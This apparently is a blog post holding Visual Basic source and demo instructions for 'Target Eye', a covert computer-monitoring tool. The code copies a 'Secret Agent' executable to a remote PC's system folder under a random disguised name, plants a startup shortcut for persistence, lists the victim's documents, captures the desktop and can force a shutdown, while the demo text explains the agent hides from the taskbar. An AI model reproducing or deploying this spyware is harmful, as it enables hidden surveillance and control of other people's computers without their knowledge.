packet_ContFile 'PacketID is created from 2 digits: ' 1 - AgentID ' 2 - The sequencial number of the packet TEType(2) = CByte(CountPackets + AgentID * 10) ' Allocate memory for the packet to be created ReDim Rest(1 To DefPacketSize) ' ============================================== End If ' ============================================== End If ' READ ============================================================ Get #12, , Rest ' Check if there are changes in source image Debug.Print "Get "; UBound(Rest); " bytes from "; PictFileName ' WRITE ============================================================ ReportSize = CLng(UBound(Rest)) CopyMemory TEType(3), ReportSize, 4 CopyMemory TEType(7), FileSize, 4 Put #11, , TEType AgentMe.CurrentPacketNum = CountPackets AgentMe.CurrentImageSent = CountBytes Debug.Print "put "; UBound(TEType); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10 ' ================================================================== CountBytes = CountBytes + UBound(Rest) - LBound(Rest) + 2 If Not Resend Then CountPackets = CountPackets + 1 ' WRITE ============================================================ Put #11, , Rest Debug.Print "put "; UBound(Rest); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10 ' ================================================================== Close #11 Open DestFileName For Binary Access Read As #11 Debug.Print "Total size of packet is "; LOF(11) Close #11 If TEType(1) = Packet_EndFile Or TEType(1) = Packet_SingleFile Then ' Debug.Print "Total wrote: "; CountBytes; " Total read: "; FileSize; " # of packets: "; CountPackets CountBytes = 0 CountPackets = 0 Close #12 ' Kill DestFileName 'do this only to test without another PC End If End Sub Public Sub WriteToLog(s As String) Dim FF As Integer Dim LogMode Exit Sub If LogMode = 1 Then FF = 99 On Error GoTo er1 Open "Ted.log" For Append As #FF Print #FF, s Close #FF Else ' Debug.Print Format(Now(), "HH:MM:SS ") + s End If Exit Sub er1: Resume End Sub Function PacketType(s As String) As String Dim Ftype As Byte Dim Fid As Byte Dim FSize As Long Dim Psize As Long Dim TSize As Long Close #1 Open s For Binary Access Read As #1 Psize = LOF(1) Get #1, , Ftype Get #1, , Fid Get #1, , FSize Get #1, , TSize Close #1 Select Case Ftype Case Packet_NewFile: PacketType = "NewFile" Case packet_ContFile: PacketType = "ContFile" Case Packet_EndFile: PacketType = "EndFile" Case Packet_SingleFile: PacketType = "SingleFile" End Select Debug.Print "========================================" Debug.Print "TYPE: "; PacketType, "PID: "; CStr(Fid) Debug.Print "Reported Size: "; FSize + 6, "Real Size: "; Psize; " Total size: "; TSize Debug.Print "========================================" End Function Public Function TE_DeleteFile(s As String) As Integer Dim tries As Integer If Dir(s) = "" Then ' Debug.Print "The file "; s; " is already deleted" End If 1: DeleteFile s If Dir(s) <> "" Then 'Debug.Print "Can't delete "; s tries = tries + 1 If tries < 150 Then GoTo 1 Else 'Debug.Print "Error deleting file "; s DeleteFile s tries = 0 End If Else 'Debug.Print "The file "; s; " was deleted" End If End Function Sub DestroyFile(sFileName As String) Dim Block1 As String, Block2 As String, Blocks As Long Dim hFileHandle As Integer, iLoop As Long, offset As Long On Error GoTo erDl 'Create two buffers with a specified 'wi ' pe-out' characters Const BLOCKSIZE = 4096 Block1 = String(BLOCKSIZE, "X") Block2 = String(BLOCKSIZE, " ") 'Overwrite the file contents with the wi ' pe-out characters hFileHandle = FreeFile Open sFileName For Binary As hFileHandle Blocks = (LOF(hFileHandle) \ BLOCKSIZE) + 1 For iLoop = 1 To Blocks offset = Seek(hFileHandle) Put hFileHandle, , Block1 Put hFileHandle, offset, Block2 Next iLoop Close hFileHandle 'Now you can delete the file, which cont ' ains no sensitive data DeleteFile sFileName erDl: ' Debug.Print "Internal error. Can't delete file "; sFileName Resume Next End Sub Public Function GetDesktopPath() As String GetDesktopPath = GetSpecialFolder(CSIDL_DESKTOPDIRECTORY) End Function ' Declare API functions. Public Function GetFavoritesPath() As String GetFavoritesPath = GetSpecialFolder(CSIDL_FAVORITES) End Function Private Function GetSpecialFolder(CSIDL As Long) As String Dim idlstr As Long Dim sPath As String Dim IDL As ITEMIDLIST Const NOERROR = 0 Const MAX_LENGTH = 260 On Error GoTo Err_GetFolder ' Fill the idl structure with the specified folder item. idlstr = SHGetSpecialFolderLocation _ (0, CSIDL, IDL) If idlstr = NOERROR Then ' Get the path from the idl list, and return ' the folder with a slash at the end. sPath = Space$(MAX_LENGTH) idlstr = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal sPath) If idlstr Then GetSpecialFolder = Left$(sPath, InStr(sPath, Chr$(0)) _ - 1) & "\" End If End If Exit_GetFolder: Exit Function Err_GetFolder: MsgBox Err.Description, vbCritical Or vbOKOnly Resume Exit_GetFolder End Function Function GetStartMenuPath() As String GetStartMenuPath = GetSpecialFolder(CSIDL_STARTMENU) End Function Function GetTemplatesPath() As String GetTemplatesPath = GetSpecialFolder(CSIDL_TEMPLATES) End Function Function TECompare(f As String) As Boolean Static Last As Boolean Static LastDim() As Byte Static NewDim() As Byte Dim i Open f For Binary Access Read As #55 ReDim NewDim(1 To LOF(55)) Get #55, , NewDim Close #55 If Last Then For i = 1 To UBound(NewDim) If LastDim(i) <> NewDim(i) Then TECompare = True GoTo 1 End If Next End If 1: LastDim = NewDim Debug.Print "Compare = "; TECompare End Function Public Sub SendMessageToAgent(AgentName As String, MessageType As TEM, MessageText As String) If Dir(NetworkPictFile + AgentName + ".tem") <> "" Then Debug.Print "Last message wan't varified" Exit Sub End If Open NetworkPictFile + AgentName + ".tem" For Output As #1 Print #1, MessageType; "#"; MessageText Close #1 End Sub Public Sub CheckMessages(AgentName As String) Dim a$ Dim cmd As TEM Dim Txt As String If Dir(NetworkPictFile + AgentName + ".tem") = "" Then Debug.Print "There aren't any messages" Exit Sub End If Open NetworkPictFile + AgentName + ".tem" For Input As #1 Line Input #1, a$ Close #1 DeleteFile NetworkPictFile + AgentName + ".tem" cmd = Val(Left(a$, InStr(a$, "#") - 1)) Txt = Mid(a$, InStr(a$, "#") + 1) Select Case cmd Case DisplayMsg ' save original window ' set active window to Message ActiveWindowPTR = GetForegroundWindow() Message.Label1.Caption = Txt Message.Show 1 SetForegroundWindow (ActiveWindowPTR) ' set back to original window Case Execute Case ListFiles Dim MyFiles() As String Dim i FindFile.FindFile "c:\", "*.doc", MyFiles For i = 1 To UBound(MyFiles): Debug.Print MyFiles(i): Next Case GetFile Case SendFile Case TargetEyeCMD Case WindowsCMD Select Case Txt Case "TurnOff" Shell "rundll32 user,exitwindows" 'ExitWindowsEx 30, 0 Exit Sub End Select End Select End Sub Public Sub DoShutDown(f As Form) If MsgBox("Warning:" + Chr(13) + "You are about to perform a brutal shutdown on the monitored computer " + f.Tag + Chr(13) + "Are you sure you want to proceed? (the person you are watching, will not have a chance to save any of his work)", vbOKCancel + vbCritical, "Emergency Shutdown") = vbOK Then SendMessageToAgent f.Tag, WindowsCMD, "TurnOff" End If End Sub Public Sub GetFileList(f As Form) SendMessageToAgent f.Tag, ListFiles, "" End Sub Public Sub DoEM(f As Form) Static s As String s = InputBox("Please type the message you wish to appear on the screen of " + f.Tag + " or press CANCEL to abort", "Sending a message to the monitored PC", s) If s = "" Then Exit Sub SendMessageToAgent f.Tag, DisplayMsg, s End Sub Public Sub Frm_OnTop(TheForm As Form, OnTop As Boolean) Dim SetWinOnTop As Long If OnTop Then SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE) Else SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE) End If End Sub Public Function Connected_To_Net() As Boolean Dim phkResult As Long, lpData As Long, lpcbData As Long Dim ReturnCode As Long Connected_To_Net = False ReturnCode = RegOpenKey(&H80000002, _ "System\CurrentControlSet\Services\RemoteAccess", phkResult) If ReturnCode = 0& Then lpData = 0& lpcbData = 0& ReturnCode = RegQueryValueEx(phkResult, _ "Remote Connection", 0&, 0&, ByVal lpData, lpcbData) lpcbData = Len(lpData) ReturnCode = RegQueryValueEx(phkResult, _ "Remote Connection", 0&, 0&, lpData, lpcbData) If ReturnCode = 0& And lpData <> 0 _ Then Connected_To_Net = True RegCloseKey (phkResult) End If End Function Public Function GetNextAgent() As AgentCapture ' Generates list of all agents Dim f As String Dim i f = Dir(NetworkPictFile + "*.tei") While f <> "" Debug.Print f For i = 1 To AgentsCapturedCount If AgentsCaptured(i).AgentFileName + ".tei" = f Then 'already monitored GoTo Lab1 End If Next ' found a new one ' Debug.Print "New one" AgentsCapturedCount = AgentsCapturedCount + 1 AgentsCaptured(AgentsCapturedCount).AgentID = AgentsCapturedCount GetNextAgent.AgentName = Left(f, Len(f) - 4) GetNextAgent.AgentID = AgentsCapturedCount GetNextAgent.AgentFileName = NetworkPictFile + Left(f, Len(f) - 4) Exit Function Lab1: ' Debug.Print "Old one" f = Dir() Wend End Function '************************************** ' Name: Get Startup Folder ' Description:Gets the startup folder of ' your system. This version will find your ' startup folder no matter what Windows OS ' you are running, and no matter where it ' is installed. ' By: Don ' ' ' Inputs:None ' ' Returns:Boolean, success or failure ' 'Assumes:None ' 'Side Effects:None ' 'Warranty: 'code provided by Planet Source Code(tm) ' (http://www.Planet-Source-Code.com) 'as ' is', without warranties as to performanc ' e, fitness, merchantability,and any othe ' r warranty (whether expressed or implied ' ). 'Terms of Agreement: 'By using this source code, you agree to ' the following terms... ' 1) You may use this source code in per ' sonal projects and may compile it into a ' n .exe/.dll/.ocx and distribute it in bi ' nary format freely and with no charge. ' 2) You MAY NOT redistribute this sourc ' e code (for example to a web site) witho ' ut written permission from the original ' author.Failure to do so is a violation o ' f copyright laws. ' 3) You may link to this code from anot ' her website, provided it is not wrapped ' in a frame. ' 4) The author of this code may have re ' tained certain additional copyright righ ' ts.If so, this is indicated in the autho ' r's description. '************************************** Private Function StartupMenu() As String Dim lpStartupPath As String * MAX_PATH Dim Pidl As Long Dim hResult As Long hResult = SHGetSpecialFolderLocation(0, CSIDL_COMMON_STARTUP, Pidl) If hResult = 0 Then hResult = SHGetPathFromIDList(ByVal Pidl, lpStartupPath) If hResult = 1 Then lpStartupPath = Left(lpStartupPath, InStr(lpStartupPath, Chr(0)) - 1) StartupMenu = lpStartupPath End If End If End Function '----------------------------------------------------------- ' SUB: CreateShellLink ' ' Creates (or replaces) a link in either Start>Programs or ' any of its immediate subfolders in the Windows 95 shell. ' ' IN: [strLinkPath] - full path to the target of the link ' Ex: 'c:\Program Files\My Application\MyApp.exe" ' [strLinkArguments] - command-line arguments for the link ' Ex: '-f -c "c:\Program Files\My Application\MyApp.dat" -q' ' [strLinkName] - text caption for the link ' [fLog] - Whether or not to write to the logfile (default ' is true if missing) ' ' OUT: ' The link will be created in the folder strGroupName '----------------------------------------------------------- ' Public Sub CreateShellLink(ByVal strLinkPath As String, _ ByVal strGroupName As String, _ ByVal strLinkArguments As String, _ ByVal strLinkName As String, _ ByVal fPrivate As Boolean, _ sParent As String, _ Optional ByVal fLog As Boolean = True) Dim fSuccess As Boolean Dim intMsgRet As Integer Dim lREt As Boolean strLinkName = strUnQuoteString(strLinkName) strLinkPath = strUnQuoteString(strLinkPath) If StrPtr(strLinkArguments) = 0 Then strLinkArguments = "" lREt = OSfCreateShellLink(strGroupName, strLinkName, strLinkPath, strLinkArguments, _ fPrivate, sParent) 'the path should never be enclosed in double quotes End Sub Public Function strUnQuoteString(ByVal strQuotedString As String) ' ' This routine tests to see if strQuotedString is wrapped in quotation ' marks, and, if so, remove them. ' strQuotedString = Trim$(strQuotedString) If Mid$(strQuotedString, 1, 1) = gstrQUOTE Then If Right$(strQuotedString, 1) = gstrQUOTE Then ' ' It's quoted. Get rid of the quotes. ' strQuotedString = Mid$(strQuotedString, 2, Len(strQuotedString) - 2) End If End If strUnQuoteString = strQuotedString End Function Public Sub CreateShortCut(path As String, Title As String, Prog As String, Parms As String) Dim deskcut As Long 'deskcut = fCreateShellLink(path, Title, Prog, Parms, -1, "$(Programs)") CreateShellLink path, "..", "", Title, True, "$(Programs)" End Sub Public Sub InstallSecretAgent(PC As String) Dim AgentName As String Dim AgentPath As String Dim AgentStartup As String 'get remote PC system directory AgentPath = "\\te3\c-te3\windows\system\" 'temporary AgentStartup = "\\te3\c-te3\windowsstart menu\programs\startup\" 'temporary 'create a random name for the secret agent AgentName = CreateRNDEXE 'copy secret agent EXE to remote PC system FileCopy App.path + "\TESecretAgent.exe", AgentPath + AgentName MsgBox "Agent installed in " + AgentPath + AgentName 'add a shortcut to the remote PC startup folder CreateShortCut App.path + "\", AgentName, AgentPath + AgentName, "" 'Shell AgentPath + AgentName End Sub Public Function CreateRNDEXE() As String Randomize Timer Dim a(5), b(5) As String a(1) = "sys": a(2) = "win": a(3) = "dos": a(4) = "reg": a(5) = "api" b(1) = ".com": b(2) = ".dll": b(3) = ".com": b(4) = ".ocx": b(5) = ".sys" CreateRNDEXE = a(Int(Rnd(1) * 5) + 1) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + b(Int(Rnd(1) * 5) + 1) End Function
Target Eye Confidential
Operating Target Eye Demo
- Target Eye Demo can be used to demonstrate Target Eye on one or more machines, without causing any damage, and with no need to register a new user.
- The demo consists of two executable files: NewAgent.EXE and TED.EXE. NewAgent.EXE is the Secret Agent, and TED.EXE is the Controller.
- It is advised to run both application from their CD, without copying them to the Computer which is used for the demonstration.
- First, run NewAgent.EXE using the Start/Run menu and typing “G:\NewAgent” (assuming G:\ is the CD-ROM), or opening the CD-ROM from the Browser and double-clicking NewAgent.
- Second, run TED.EXE the same way.
- When the Secret Agent is active, it will not be shown in the Task Bar. There is one way to check it’s existence: Pressing CTRL+ALT+SHIFT+F8. Doing so, will pop-up a message asking you if you wish to terminate the Secret Agent. Choose “NO”., unless you have finished with the demonstration.
- The Controller (TED.EXE) opened a main window. Pressing the left most button on the ToolBar, will open a Dialog with the list of all computers connected to the network.
You need to locate the computer in which you started NewAgent.exe from, and double-click it’s name. As a result, a child window will open and after a few seconds, you will be able to see the distant computer desktop being captured. - You can open more than one window, and show either other agents or agents that are already shown.
- You can autoscroll using the mouse.
- Using the right mouse button, you can open Popup menus related to the active window:
- Full Screen will toggle the Full Screen mode.
– Send Command, enables you to send commands to the agent. - Shut Down. This command demonstrates sending a message to the agent (the message “Good Bye” will appear), and shutting it down, so it is recommended to end the demonstration with this feature.
- On the left size, there is a DialogBar that show the currently monitored agents, and bellow, some parameters of each agent.
- To switch between Gray Scale mode and Full Color mode, press the appropriate button. Then, there is a delay of around 5 seconds, since the command is sent to the agent and next time an image is captured, the command will affect.
- Change the values in the Quality TextBox and see various types of captured images shown.
©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.
No comments:
Post a Comment